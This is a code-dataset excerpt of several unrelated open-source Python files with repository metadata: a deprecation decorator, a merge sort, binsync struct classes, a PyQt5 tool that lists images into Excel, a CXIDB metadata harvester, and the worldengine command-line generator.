removal_version is None or removal_version > geoutils.version.version # Add text depending on the given arguments and 'should_warn'. text = ( f"Call to deprecated function '{func.__name__}'." if should_warn else f"Deprecated function '{func.__name__}' was removed in {removal_version}." ) # Add the details explanation if it was given, and make sure the sentence is ended. if details is not None: details_frm = details.strip() if details_frm[0].islower(): details_frm = details_frm[0].upper() + details_frm[1:] text += " " + details_frm if not any(text.endswith(c) for c in ".!?"): text += "." if should_warn and removal_version is not None: text += f" This functionality will be removed in version {removal_version}." elif not should_warn: text += f" Current version: {geoutils.version.version}." if should_warn: warnings.warn(text, category=DeprecationWarning, stacklevel=2) else: raise ValueError(text) return func(*args, **kwargs) return new_func return deprecator_func def resampling_method_from_str(method_str: str) -> rio.warp.Resampling: """Get a rasterio resampling method from a string representation, e.g. "cubic_spline".""" # Try to match the string version of the resampling method with a rio Resampling enum name for method in rio.warp.Resampling: if str(method).replace("Resampling.", "") == method_str: resampling_method = method break # If no match was found, raise an error. else: raise ValueError( f"'{method_str}' is not a valid rasterio.warp.Resampling method. " f"Valid methods: {[str(method).replace('Resampling.', '') for method in rio.warp.Resampling]}" ) return resampling_method
38.187135
113
0.622971
0
0
0
0
1,453
0.222511
0
0
3,665
0.561256
b0e7cd1cacbdf9713f6574f513c54cc6fc8be57b
1,860
py
Python
sorting/merge_sort.py
matuzalemmuller/algoritmos
138e7c9747879a58fab48908541c175b8653da5c
[ "MIT" ]
null
null
null
sorting/merge_sort.py
matuzalemmuller/algoritmos
138e7c9747879a58fab48908541c175b8653da5c
[ "MIT" ]
null
null
null
sorting/merge_sort.py
matuzalemmuller/algoritmos
138e7c9747879a58fab48908541c175b8653da5c
[ "MIT" ]
null
null
null
# UFSC - Campus Trindade # PPGEAS - Introducao a Algoritmos # Matuzalem Muller dos Santos # 2019/1 # Commented code is for calculating algorithm completixy and printing variables from random import randint import time import sys def merge_sort(array): # n = 0 if len(array) > 1: half = len(array) // 2 left_array = array[:half] right_array = array[half:] # n += merge_sort(left_array) # n += merge_sort(right_array) merge_sort(left_array) merge_sort(right_array) left_mark, right_mark, position = 0, 0, 0 while left_mark < len(left_array) and right_mark < len(right_array): if left_array[left_mark] < right_array[right_mark]: array[position] = left_array[left_mark] left_mark += 1 else: array[position] = right_array[right_mark] right_mark += 1 position += 1 # n += 1 while left_mark < len(left_array): array[position] = left_array[left_mark] left_mark += 1 position += 1 # n += 1 while right_mark < len(right_array): array[position] = right_array[right_mark] right_mark += 1 position += 1 # n += 1 # return array, n return array if __name__ == '__main__': array = [] random_number = 0 try: number_of_elements = int(sys.argv[1]) except: number_of_elements = 10 for i in range(0, number_of_elements): random_number = randint(1, 9_999_999_999) array.append(random_number) # print(array) start_time = time.time() # array, n = merge_sort(array) array = merge_sort(array) running_time = time.time() - start_time # print(array) # print(n) print(running_time)
26.956522
79
0.58172
0
0
0
0
0
0
0
0
359
0.193011
b0e7ec352bf4d97e4861749ed21422b37bbf8b42
2,239
py
Python
binsync/data/struct.py
zachsez/binsync
39a53a84c640314adbf50e612177c4a56c43542c
[ "MIT" ]
40
2021-05-09T03:24:46.000Z
2022-03-31T23:01:50.000Z
binsync/data/struct.py
zachsez/binsync
39a53a84c640314adbf50e612177c4a56c43542c
[ "MIT" ]
53
2021-05-27T07:53:58.000Z
2022-03-27T21:35:26.000Z
binsync/data/struct.py
zachsez/binsync
39a53a84c640314adbf50e612177c4a56c43542c
[ "MIT" ]
10
2021-05-13T22:09:38.000Z
2022-03-31T23:51:27.000Z
import toml from typing import List, Dict from .artifact import Artifact class StructMember(Artifact): """ Describes a struct member that corresponds to a struct. """ __slots__ = ( "last_change", "member_name", "offset", "type", "size", ) def __init__(self, member_name, offset, type_, size, last_change=None): super(StructMember, self).__init__(last_change=last_change) self.member_name: str = member_name self.offset: int = offset self.type: str = type_ self.size: int = size @classmethod def parse(cls, s): sm = StructMember(None, None, None, None) sm.__setstate__(toml.loads(s)) return sm class Struct(Artifact): """ Describes a struct """ __slots__ = ( "last_change", "name", "size", "struct_members", ) def __init__(self, name: str, size: int, struct_members: List[StructMember], last_change=None): super(Struct, self).__init__(last_change=last_change) self.name = name self.size = size self.struct_members = struct_members def __getstate__(self): return { "metadata": { "name": self.name, "size": self.size, "last_change": self.last_change }, "members": {"%x" % member.offset: member.__getstate__() for member in self.struct_members} } def __setstate__(self, state): metadata = state["metadata"] members = state["members"] self.name = metadata["name"] self.size = members["size"] self.last_change = members.get("last_change", None) self.struct_members = [ StructMember.parse(toml.dumps(member)) for _, member in members.items() ] def add_struct_member(self, mname, moff, mtype, size): self.struct_members.append(StructMember(mname, moff, mtype, size)) @classmethod def parse(cls, s): struct = Struct(None, None, None) struct.__setstate__(s) return struct @classmethod def load(cls, struct_toml): s = Struct(None, None, None) s.__setstate__(struct_toml) return s
23.568421
102
0.590442
2,151
0.960697
0
0
406
0.181331
0
0
284
0.126842
b0e84025ba8edc34831e545492abd9cc1b7a33c6
9,070
py
Python
__init__.py
itsmepvr/list_images_to_excel
a4da3948a289c91cbcab90980364e989af7f1118
[ "MIT" ]
null
null
null
__init__.py
itsmepvr/list_images_to_excel
a4da3948a289c91cbcab90980364e989af7f1118
[ "MIT" ]
null
null
null
__init__.py
itsmepvr/list_images_to_excel
a4da3948a289c91cbcab90980364e989af7f1118
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- """ Author: Venkata Ramana P <github.com/itsmepvr> List files to an excel sheet """ import os, glob import sys from PyQt5 import QtCore, QtGui, QtWidgets from PyQt5.QtWidgets import QMainWindow, QApplication, QFileDialog, QMessageBox from PyQt5.QtWidgets import * from PyQt5.QtGui import * from PyQt5.QtCore import * from os.path import expanduser import xlsxwriter class Ui_MainWindow(object): def setupUi(self, MainWindow): MainWindow.setObjectName("MainWindow") MainWindow.resize(569, 304) MainWindow.setStyleSheet("background-color:rgba(0,0,0,0.5); font-weight:bold;") self.centralwidget = QtWidgets.QWidget(MainWindow) self.centralwidget.setObjectName("centralwidget") self.lineEdit = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit.setGeometry(QtCore.QRect(10, 40, 391, 26)) self.lineEdit.setStyleSheet("background-color:rgb(255, 255, 255)") self.lineEdit.setObjectName("lineEdit") self.pushButton = QtWidgets.QPushButton(self.centralwidget) self.pushButton.setGeometry(QtCore.QRect(410, 40, 151, 26)) self.pushButton.setStyleSheet("background-color:rgb(255, 255, 255)") self.pushButton.setObjectName("pushButton") self.pushButton.clicked.connect(self.chooseFilesDirectory) self.lineEdit_2 = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit_2.setGeometry(QtCore.QRect(10, 80, 391, 26)) self.lineEdit_2.setStyleSheet("background-color:rgb(255, 255, 255)") self.lineEdit_2.setText("") self.lineEdit_2.setObjectName("lineEdit_2") self.pushButton_2 = QtWidgets.QPushButton(self.centralwidget) self.pushButton_2.setGeometry(QtCore.QRect(410, 80, 151, 26)) self.pushButton_2.setStyleSheet("background-color:rgb(255, 255, 255)") self.pushButton_2.setObjectName("pushButton_2") self.pushButton_2.clicked.connect(self.chooseExcelDirectory) self.lineEdit_3 = QtWidgets.QLineEdit(self.centralwidget) self.lineEdit_3.setGeometry(QtCore.QRect(10, 120, 391, 26)) self.lineEdit_3.setStyleSheet("background-color:rgb(255, 255, 255)") self.lineEdit_3.setText("files_to_list") self.lineEdit_3.setObjectName("lineEdit_3") self.label = QtWidgets.QLabel(self.centralwidget) self.label.setGeometry(QtCore.QRect(410, 117, 141, 31)) self.label.setStyleSheet("color:rgb(255, 255, 255);\n" "background-color:none;\n" "font-weight:bold;") self.label.setObjectName("label") self.checkBox = QtWidgets.QCheckBox(self.centralwidget) self.checkBox.setEnabled(True) self.checkBox.setGeometry(QtCore.QRect(170, 160, 121, 31)) self.checkBox.setTabletTracking(False) self.checkBox.setAutoFillBackground(False) self.checkBox.setStyleSheet("color:rgb(230, 75, 238);\n" "background-color:none;\n" "font-weight:bold;\n" "font-size:25px;") self.checkBox.setChecked(True) self.checkBox.setObjectName("checkBox") self.checkBox_2 = QtWidgets.QCheckBox(self.centralwidget) self.checkBox_2.setGeometry(QtCore.QRect(300, 160, 131, 31)) self.checkBox_2.setStyleSheet("color:rgb(230, 75, 238);\n" "background-color:none;\n" "font-weight:bold;\n" "font-size:25px;") self.checkBox_2.setObjectName("checkBox_2") self.pushButton_3 = QtWidgets.QPushButton(self.centralwidget) self.pushButton_3.setGeometry(QtCore.QRect(270, 210, 121, 31)) self.pushButton_3.setStyleSheet("background-color: rgb(138, 226, 52);\n" "color:black;\n" "font-weight:bold;") self.pushButton_3.setObjectName("pushButton_3") self.pushButton_3.clicked.connect(self.checkFields) self.pushButton_4 = QtWidgets.QPushButton(self.centralwidget) self.pushButton_4.setGeometry(QtCore.QRect(400, 210, 131, 31)) self.pushButton_4.setStyleSheet("background-color: rgb(239, 41, 41);\n" "color:black;\n" "font-weight:bold;") self.pushButton_4.setObjectName("pushButton_4") self.pushButton_4.clicked.connect(self.quit) self.label_2 = QtWidgets.QLabel(self.centralwidget) self.label_2.setGeometry(QtCore.QRect(70, 260, 461, 20)) self.label_2.setStyleSheet("color:rgb(252, 175, 62);\n" "font: italic 11pt \"DejaVu Serif\";\n" "") self.label_2.setObjectName("label_2") self.progressBar = QtWidgets.QProgressBar(self.centralwidget) self.progressBar.setGeometry(QtCore.QRect(40, 220, 201, 23)) self.progressBar.setStyleSheet("background-color:rgb(243, 243, 243)") self.progressBar.setProperty("value", 24) self.progressBar.setObjectName("progressBar") self.progressBar.hide() MainWindow.setCentralWidget(self.centralwidget) self.statusbar = QtWidgets.QStatusBar(MainWindow) self.statusbar.setObjectName("statusbar") MainWindow.setStatusBar(self.statusbar) self.retranslateUi(MainWindow) QtCore.QMetaObject.connectSlotsByName(MainWindow) self.filePath = "/home/itsmepvr/.local/share/Anki2/3-4 Years Primary/collection.media" self.excelPath = "/home/itsmepvr/Downloads" self.excelName = "files_to_list" self.ext = [] self.convert() def retranslateUi(self, MainWindow): _translate = QtCore.QCoreApplication.translate MainWindow.setWindowTitle(_translate("MainWindow", "List Files to Excel")) self.pushButton.setText(_translate("MainWindow", "Select Files Path")) self.pushButton_2.setText(_translate("MainWindow", "Select Excel Path")) self.label.setText(_translate("MainWindow", "Excel File Name")) self.checkBox.setText(_translate("MainWindow", "Images")) self.checkBox_2.setText(_translate("MainWindow", "Audios")) self.pushButton_3.setText(_translate("MainWindow", "Convert")) self.pushButton_4.setText(_translate("MainWindow", "Cancel")) self.label_2.setText(_translate("MainWindow", "Developed by: Venkata Ramana P <github.com/itsmepvr>")) def quit(self): self.close() def chooseFilesDirectory(self): self.progressBar.hide() src_dir = QFileDialog.getExistingDirectory(None, 'Select a folder:', expanduser("~")) self.lineEdit.setText(src_dir) def chooseExcelDirectory(self): self.progressBar.hide() src_dir = QFileDialog.getExistingDirectory(None, 'Select a folder:', expanduser("~")) self.lineEdit_2.setText(src_dir) def checkFields(self): self.filePath = self.lineEdit.text() self.excelPath = self.lineEdit_2.text() self.excelName = self.lineEdit_3.text() if not os.path.isdir(self.filePath): QMessageBox.warning(None, "Warning", "Files path does not exists", QtWidgets.QMessageBox.Ok) return if not os.path.isdir(self.excelPath): QMessageBox.warning(None, "Warning", "Excel path does not exists", QtWidgets.QMessageBox.Ok) return if self.excelName == '': QMessageBox.warning(None, "Warning", "Excel file name cannot be empty", QtWidgets.QMessageBox.Ok) return if not (self.checkBox.isChecked() or self.checkBox_2.isChecked()): QMessageBox.warning(None, "Warning", "Select any images/audios", QtWidgets.QMessageBox.Ok) return self.ext = [] if self.checkBox.isChecked(): self.ext.append("images") if self.checkBox_2.isChecked(): self.ext.append("audios") self.convert() def convert(self): files = self.getImages(self.filePath) excel = os.path.join(self.excelPath, self.excelName+'.xlsx') workbook = xlsxwriter.Workbook(excel) worksheet = workbook.add_worksheet() row = 0 incValue = 100/len(files) progressCount = 0 self.progressBar.setValue(0) self.progressBar.show() for fl in files: worksheet.write(row, 0, fl) row += 1 progressCount += incValue self.progressBar.setValue(progressCount) self.progressBar.setValue(100) workbook.close() def getImages(self, path): img = [] files = [] ext = [] if "images" in self.ext: ext = ext + ['png', 'jpg', 'gif'] if "audios" in self.ext: ext = ext + ['mp3', 'wav'] ext = ['png', 'jpg', 'gif'] # [files.extend(glob.glob(path + '/*.' + e)) for e in ext] # files.sort() # dd = os.listdir(path) # dd.sort() for file in os.listdir(path): if file.endswith(".png") or file.endswith(".jpg"): files.append(file) return files if __name__ == "__main__": import sys app = QtWidgets.QApplication(sys.argv) MainWindow = QtWidgets.QMainWindow() ui = Ui_MainWindow() ui.setupUi(MainWindow) MainWindow.show() sys.exit(app.exec_())
43.190476
110
0.661632
8,444
0.930981
0
0
0
0
0
0
1,847
0.203638
b0e8a0baacae15b6d64e13be86210039b28af7e3
1,215
py
Python
exception.py
a2gs/pythonStudy
e790e223a05fd50a5bcaf1240ef24ff60f361cdd
[ "MIT" ]
null
null
null
exception.py
a2gs/pythonStudy
e790e223a05fd50a5bcaf1240ef24ff60f361cdd
[ "MIT" ]
null
null
null
exception.py
a2gs/pythonStudy
e790e223a05fd50a5bcaf1240ef24ff60f361cdd
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- class myBaseException(Exception): def __init__(self, errNum, errMsg): self.err = errNum self.msg = errMsg class myExcept_1(myBaseException): def __init__(self): super().__init__(13, "except 1") class myExcept_2(myBaseException): def __init__(self): super().__init__(8, "except 2") def func(b): if(b == 1): raise myExcept_1 elif(b == 2): raise myExcept_2 elif(b == 3): return try: func(1) except myExcept_1 as e: print(f'Erro number: {e.err} message: {e.msg}') except myExcept_2 as e: print(f'Erro number: {e.err} message: {e.msg}') else: print('No exception') finally: print('Do this') print('Done1\n----------------------------------------') try: func(2) except myExcept_1 as e: print(f'Erro number: {e.err} message: {e.msg}') except myExcept_2 as e: print(f'Erro number: {e.err} message: {e.msg}') else: print('No exception') finally: print('Do this') print('Done2\n----------------------------------------') try: func(3) except myExcept_1 as e: print(f'Erro number: {e.err} message: {e.msg}') except myExcept_2 as e: print(f'Erro number: {e.err} message: {e.msg}') else: print('No exception') finally: print('Do this')
19.918033
56
0.626337
289
0.23786
0
0
0
0
0
0
472
0.388477
b0e8e97e17556ae476f654f72b30433601cb2273
564
py
Python
datachecker/processors/conditionals.py
jayclassless/datachecker
dd42b95f87eaaca428595fe5da639f9a710afba8
[ "MIT" ]
null
null
null
datachecker/processors/conditionals.py
jayclassless/datachecker
dd42b95f87eaaca428595fe5da639f9a710afba8
[ "MIT" ]
null
null
null
datachecker/processors/conditionals.py
jayclassless/datachecker
dd42b95f87eaaca428595fe5da639f9a710afba8
[ "MIT" ]
null
null
null
from ..errors import DataRequiredError, ShortCircuitSignal from ..util import processor __all__ = ( 'required', 'optional', ) @processor def required(): def required_processor(data): if data is None: raise DataRequiredError() return data return required_processor @processor def optional(default=None): def optional_processor(data): if data is None: signal = ShortCircuitSignal() signal.data = default raise signal return data return optional_processor
18.8
58
0.64539
0
0
0
0
421
0.746454
0
0
20
0.035461
b0eca7b772b3e9b8c51b6d9de56d789e01ceaffc
226
py
Python
python/args/multiple.py
jdurbin/sandbox
ee982f7386ae02c5937dbaee867710b5cd2cc71b
[ "MIT" ]
null
null
null
python/args/multiple.py
jdurbin/sandbox
ee982f7386ae02c5937dbaee867710b5cd2cc71b
[ "MIT" ]
null
null
null
python/args/multiple.py
jdurbin/sandbox
ee982f7386ae02c5937dbaee867710b5cd2cc71b
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 import sys,argparse parser = argparse.ArgumentParser() parser.add_argument('-foo', nargs='+', help='foo values', required=False) args = parser.parse_args() for foo in args.foo: print("Foo: ",foo)
20.545455
73
0.70354
0
0
0
0
0
0
0
0
50
0.221239
b0ed0165784914f7dc8282f6f368dd72c90b41f2
1,594
py
Python
src/parent_class/ParentPluralList.py
jameskabbes/parent_class
cecf938a2f9c66d8914967098b2064526bbec1c7
[ "MIT" ]
null
null
null
src/parent_class/ParentPluralList.py
jameskabbes/parent_class
cecf938a2f9c66d8914967098b2064526bbec1c7
[ "MIT" ]
null
null
null
src/parent_class/ParentPluralList.py
jameskabbes/parent_class
cecf938a2f9c66d8914967098b2064526bbec1c7
[ "MIT" ]
null
null
null
from parent_class import ParentPlural from typing import List class ParentPluralList( ParentPlural ): def __init__( self, att = 'list' ): ParentPlural.__init__( self, att = att ) self.set_attr( self.att, [] ) def __len__( self ): return len(self.get_list()) def __next__( self ): self.i += 1 if self.i >= len(self): raise StopIteration else: return self.get_list()[ self.i ] def _add( self, value ): list = self.get_list() list.append( value ) self.set_list( list ) def _remove( self, Inst, all_occurences = False ) -> bool: """remove the Inst from the class List""" removed = False inds = [] Insts = list(self) for i in range(len(self)): if Insts[i] == Inst: inds.append(i) removed = True if not all_occurences: break self._remove_inds( inds ) return removed def _remove_inds( self, inds: List[int] ): """Given a list of indices, remove the Objects at those indicies from the class List""" list = self.get_list() inds.sort( reverse=True ) for ind in inds: del list[ind] self.set_list( list ) def set_list( self, list ): self.set_attr( self.att, list ) def get_list( self ): return self.get_attr( self.att ) if __name__ == '__main__': a = ParentPluralList() a.print_atts()
21.835616
95
0.527604
1,456
0.913425
0
0
0
0
0
0
144
0.090339
b0ed1693b1a77aee2f28b941c3d753890e7d9408
1,454
py
Python
prototypes/harvesters/cxidb_harvester.py
materials-data-facility/connect
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
1
2019-09-13T18:35:56.000Z
2019-09-13T18:35:56.000Z
prototypes/harvesters/cxidb_harvester.py
materials-data-facility/connect_server
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
15
2018-11-01T18:08:11.000Z
2021-12-06T17:55:03.000Z
prototypes/harvesters/cxidb_harvester.py
materials-data-facility/connect
9ec5b61750bf6fa579bf3ec122f31880d3c049b8
[ "Apache-2.0" ]
1
2020-11-30T17:02:41.000Z
2020-11-30T17:02:41.000Z
import requests from json import dump import os from shutil import rmtree from tqdm import tqdm #Collects available data from CXIDB and saves to the given directory #out_dir: The path to the directory (which will be created) for the data files #existing_dir: # -1: Remove out_dir if it exists # 0: Error if out_dir exists (Default) # 1: Overwrite files in out_dir if there are path collisions #verbose: Print status messages? Default False def harvest(out_dir, existing_dir=0, verbose=False): if os.path.exists(out_dir): if existing_dir == 0: exit("Directory '" + out_dir + "' exists") elif not os.path.isdir(out_dir): exit("Error: '" + out_dir + "' is not a directory") elif existing_dir == -1: rmtree(out_dir) os.mkdir(out_dir) else: os.mkdir(out_dir) #Fetch list of ids id_res = requests.get("http://cxidb.org/index.json") if id_res.status_code != 200: exit("IDs GET failure: " + str(id_res.status_code) + " error") id_list = id_res.json() for id_entry in tqdm(id_list, desc="Fetching metadata", disable= not verbose): id_data = requests.get("http://cxidb.org/" + id_entry) if id_data.status_code != 200: exit("ID fetch failure: " + str(id_data.status_code) + " error") with open(os.path.join(out_dir, id_entry), 'w') as out_file: dump(id_data.json(), out_file)
36.35
82
0.643741
0
0
0
0
0
0
0
0
555
0.381706
b0ed5b6a6f6876d6d3b9b9b973debc09d4041302
136
py
Python
bot/permissions.py
Yakov-Varnaev/Epicker_bot
da077e0bcfbd41a2efaed74d71e7c4c818b842c0
[ "MIT" ]
null
null
null
bot/permissions.py
Yakov-Varnaev/Epicker_bot
da077e0bcfbd41a2efaed74d71e7c4c818b842c0
[ "MIT" ]
null
null
null
bot/permissions.py
Yakov-Varnaev/Epicker_bot
da077e0bcfbd41a2efaed74d71e7c4c818b842c0
[ "MIT" ]
null
null
null
from aiogram import types import config async def is_admin(message: types.Message): return message.from_user.id in config.ADMINS
17
48
0.786765
0
0
0
0
0
0
92
0.676471
0
0
b0f062298bedb55fde1aeecf88bc32677fffabc9
127
py
Python
ssshare/__init__.py
centaur679/ShadowSocksShare
41f85e9a0adc1322fd8f254a1c1a5360d228507a
[ "Apache-2.0" ]
2,341
2019-03-04T05:41:12.000Z
2022-03-31T11:30:40.000Z
ssshare/__init__.py
centaur679/ShadowSocksShare
41f85e9a0adc1322fd8f254a1c1a5360d228507a
[ "Apache-2.0" ]
50
2019-03-24T01:35:13.000Z
2021-09-09T22:59:15.000Z
ssshare/__init__.py
centaur679/ShadowSocksShare
41f85e9a0adc1322fd8f254a1c1a5360d228507a
[ "Apache-2.0" ]
780
2019-03-04T07:33:37.000Z
2022-03-22T23:32:53.000Z
#!/usr/bin/env python # -*- coding: utf-8 -*- from flask import Flask app = Flask(__name__) app.config.from_object("config")
15.875
32
0.685039
0
0
0
0
0
0
0
0
52
0.409449
b0f238f39a9f9a11e1383c07dd66cb298f4de952
21,160
py
Python
worldengine/cli/main.py
stefan-feltmann/lands
b2f1fc3aab4895763160a135d085a17dceb5f58e
[ "MIT" ]
null
null
null
worldengine/cli/main.py
stefan-feltmann/lands
b2f1fc3aab4895763160a135d085a17dceb5f58e
[ "MIT" ]
null
null
null
worldengine/cli/main.py
stefan-feltmann/lands
b2f1fc3aab4895763160a135d085a17dceb5f58e
[ "MIT" ]
null
null
null
import sys from argparse import ArgumentParser import os import pickle import random import worldengine.generation as geo from worldengine.common import array_to_matrix, set_verbose, print_verbose from worldengine.draw import draw_ancientmap_on_file, draw_biome_on_file, draw_ocean_on_file, \ draw_precipitation_on_file, draw_grayscale_heightmap_on_file, draw_simple_elevation_on_file, \ draw_temperature_levels_on_file, draw_riversmap_on_file from worldengine.plates import world_gen, generate_plates_simulation from worldengine.step import Step from worldengine.world import World from worldengine.version import __version__ VERSION = __version__ OPERATIONS = 'world|plates|ancient_map|info' SEA_COLORS = 'blue|brown' STEPS = 'plates|precipitations|full' def generate_world(world_name, width, height, seed, num_plates, output_dir, step, ocean_level, world_format='pickle', verbose=True, black_and_white=False): w = world_gen(world_name, width, height, seed, num_plates, ocean_level, step, verbose=verbose) print('') # empty line print('Producing ouput:') sys.stdout.flush() # Save data filename = "%s/%s.world" % (output_dir, world_name) with open(filename, "wb") as f: if world_format == 'pickle': pickle.dump(w, f, pickle.HIGHEST_PROTOCOL) elif world_format == 'protobuf': f.write(w.protobuf_serialize()) else: print("Unknown format '%s', not saving " % world_format) print("* world data saved in '%s'" % filename) sys.stdout.flush() # Generate images filename = '%s/%s_ocean.png' % (output_dir, world_name) draw_ocean_on_file(w.ocean, filename) print("* ocean image generated in '%s'" % filename) if step.include_precipitations: filename = '%s/%s_precipitation.png' % (output_dir, world_name) draw_precipitation_on_file(w, filename, black_and_white) print("* precipitation image generated in '%s'" % filename) filename = '%s/%s_temperature.png' % (output_dir, world_name) draw_temperature_levels_on_file(w, filename, black_and_white) print("* temperature image generated in '%s'" % filename) if step.include_biome: filename = '%s/%s_biome.png' % (output_dir, world_name) draw_biome_on_file(w, filename) print("* biome image generated in '%s'" % filename) filename = '%s/%s_elevation.png' % (output_dir, world_name) sea_level = w.sea_level() draw_simple_elevation_on_file(w.elevation['data'], filename, width=width, height=height, sea_level=sea_level) print("* elevation image generated in '%s'" % filename) return w def generate_grayscale_heightmap(world, filename): draw_grayscale_heightmap_on_file(world, filename) print("+ grayscale heightmap generated in '%s'" % filename) def generate_rivers_map(world, filename): draw_riversmap_on_file(world, filename) print("+ rivers map generated in '%s'" % filename) def generate_plates(seed, world_name, output_dir, width, height, num_plates=10): """ Eventually this method should be invoked when generation is called at asked to stop at step "plates", it should not be a different operation :param seed: :param world_name: :param output_dir: :param width: :param height: :param num_plates: :return: """ elevation, plates = generate_plates_simulation(seed, width, height, num_plates=num_plates) world = World(world_name, width, height, seed, num_plates, -1.0, "plates") world.set_elevation(array_to_matrix(elevation, width, height), None) world.set_plates(array_to_matrix(plates, width, height)) # Generate images filename = '%s/plates_%s.png' % (output_dir, world_name) # TODO calculate appropriate sea_level sea_level = 1.0 draw_simple_elevation_on_file(world.elevation['data'], filename, width, height, sea_level) print("+ plates image generated in '%s'" % filename) geo.center_land(world) filename = '%s/centered_plates_%s.png' % (output_dir, world_name) draw_simple_elevation_on_file(world.elevation['data'], filename, width, height, sea_level) print("+ centered plates image generated in '%s'" % filename) def check_step(step_name): step = Step.get_by_name(step_name) if step is None: print("ERROR: unknown step name, using default 'full'") return Step.get_by_name("full") else: return step def operation_ancient_map(world, map_filename, resize_factor, sea_color, draw_biome, draw_rivers, draw_mountains, draw_outer_land_border): draw_ancientmap_on_file(world, map_filename, resize_factor, sea_color, draw_biome, draw_rivers, draw_mountains, draw_outer_land_border) print("+ ancient map generated in '%s'" % map_filename) def __get_last_byte__(filename): with open(filename, 'rb') as input_file: data = tmp_data = input_file.read(1024 * 1024) while tmp_data: tmp_data = input_file.read(1024 * 1024) if tmp_data: data = tmp_data return ord(data[len(data) - 1]) def __varint_to_value__(varint): # See https://developers.google.com/protocol-buffers/docs/encoding for details # to convert it to value we must start from the first byte # and add to it the second last multiplied by 128, the one after # multiplied by 128 ** 2 and so on if len(varint) == 1: return varint[0] else: return varint[0] + 128 * __varint_to_value__(varint[1:]) def __get_tag__(filename): with open(filename, 'rb') as ifile: # drop first byte, it should tell us the protobuf version and it # should be normally equal to 8 data = ifile.read(1) if not data: return None done = False tag_bytes = [] # We read bytes until we find a bit with the MSB not set while data and not done: data = ifile.read(1) if not data: return None value = ord(data) tag_bytes.append(value % 128) if value < 128: done = True # to convert it to value we must start from the last byte # and add to it the second last multiplied by 128, the one before # multiplied by 128 ** 2 and so on return __varint_to_value__(tag_bytes) def __seems_protobuf_worldfile__(world_filename): worldengine_tag = __get_tag__(world_filename) return worldengine_tag == World.worldengine_tag() def __seems_pickle_file__(world_filename): last_byte = __get_last_byte__(world_filename) return last_byte == ord('.') def load_world(world_filename): pb = __seems_protobuf_worldfile__(world_filename) pi = __seems_pickle_file__(world_filename) if pb and pi: print("we cannot distinguish if the file is a pickle or a protobuf " "world file. Trying to load first as protobuf then as pickle " "file") try: return World.open_protobuf(world_filename) except Exception: try: return World.from_pickle_file(world_filename) except Exception: raise Exception("Unable to load the worldfile neither as protobuf or pickle file") elif pb: return World.open_protobuf(world_filename) elif pi: return World.from_pickle_file(world_filename) else: raise Exception("The given worldfile does not seem a pickle or a protobuf file") def print_world_info(world): print(" name : %s" % world.name) print(" width : %i" % world.width) print(" height : %i" % world.height) print(" seed : %i" % world.seed) print(" no plates : %i" % world.n_plates) print(" ocean level : %f" % world.ocean_level) print(" step : %s" % world.step.name) print(" has biome : %s" % world.has_biome()) print(" has humidity : %s" % world.has_humidity()) print(" has irrigation : %s" % world.has_irrigation()) print(" has permeability : %s" % world.has_permeability()) print(" has watermap : %s" % world.has_watermap()) print(" has precipitations : %s" % world.has_precipitations()) print(" has temperature : %s" % world.has_temperature()) def main(): parser = ArgumentParser( usage="usage: %(prog)s [options] [" + OPERATIONS + "]") parser.add_argument('OPERATOR', nargs='?') parser.add_argument('FILE', nargs='?') parser.add_argument( '-o', '--output-dir', dest='output_dir', help="generate files in DIR [default = '%(default)s']", metavar="DIR", default='.') parser.add_argument( '-n', '--worldname', dest='world_name', help="set world name to STR. output is stored in a " + "world file with the name format 'STR.world'. If " + "a name is not provided, then seed_N.world, " + "where N=SEED", metavar="STR") # TODO: add description of protocol buffer parser.add_argument('-b', '--protocol-buffer', dest='protobuf', action="store_true", help="Save world file using protocol buffer format. " + "Default = store using pickle format", default=False) parser.add_argument('-s', '--seed', dest='seed', type=int, help="Use seed=N to initialize the pseudo-random " + "generation. If not provided, one will be " + "selected for you.", metavar="N") parser.add_argument('-t', '--step', dest='step', help="Use step=[" + STEPS + "] to specify how far " + "to proceed in the world generation process. " + "[default='%(default)s']", metavar="STR", default="full") # TODO --step appears to be duplicate of OPERATIONS. Especially if # ancient_map is added to --step parser.add_argument('-x', '--width', dest='width', type=int, help="N = width of the world to be generated " + "[default=%(default)s]", metavar="N", default='512') parser.add_argument('-y', '--height', dest='height', type=int, help="N = height of the world to be generated " + "[default=%(default)s]", metavar="N", default='512') parser.add_argument('-q', '--number-of-plates', dest='number_of_plates', type=int, help="N = number of plates [default = %(default)s]", metavar="N", default='10') parser.add_argument('--recursion_limit', dest='recursion_limit', type=int, help="Set the recursion limit [default = %(default)s]", metavar="N", default='2000') parser.add_argument('-v', '--verbose', dest='verbose', action="store_true", help="Enable verbose messages", default=False) parser.add_argument('--version', dest='version', action="store_true", help="Display version information", default=False) parser.add_argument('--bw', '--black-and-white', dest='black_and_white', action="store_true", help="generate maps in black and white", default=False) # ----------------------------------------------------- g_generate = parser.add_argument_group( "Generate Options", "These options are only useful in plate and " + "world modes") g_generate.add_argument('-r', '--rivers', dest='rivers_map', help="generate rivers map in FILE", metavar="FILE") g_generate.add_argument('--gs', '--grayscale-heightmap', dest='grayscale_heightmap', help='produce a grayscale heightmap in FILE', metavar="FILE") g_generate.add_argument('--ocean_level', dest='ocean_level', type=float, help='elevation cut off for sea level " +' '[default = %(default)s]', metavar="N", default=1.0) # ----------------------------------------------------- g_ancient_map = parser.add_argument_group( "Ancient Map Options", "These options are only useful in " + "ancient_map mode") g_ancient_map.add_argument('-w', '--worldfile', dest='world_file', help="FILE to be loaded", metavar="FILE") g_ancient_map.add_argument('-g', '--generatedfile', dest='generated_file', help="name of the FILE", metavar="FILE") g_ancient_map.add_argument( '-f', '--resize-factor', dest='resize_factor', type=int, help="resize factor (only integer values). " + "Note this can only be used to increase " + "the size of the map [default=%(default)s]", metavar="N", default='1') g_ancient_map.add_argument('--sea_color', dest='sea_color', help="string for color [" + SEA_COLORS + "]", metavar="S", default="brown") g_ancient_map.add_argument('--not-draw-biome', dest='draw_biome', action="store_false", help="Not draw biome", default=True) g_ancient_map.add_argument('--not-draw-mountains', dest='draw_mountains', action="store_false", help="Not draw mountains", default=True) g_ancient_map.add_argument('--not-draw-rivers', dest='draw_rivers', action="store_false", help="Not draw rivers", default=True) 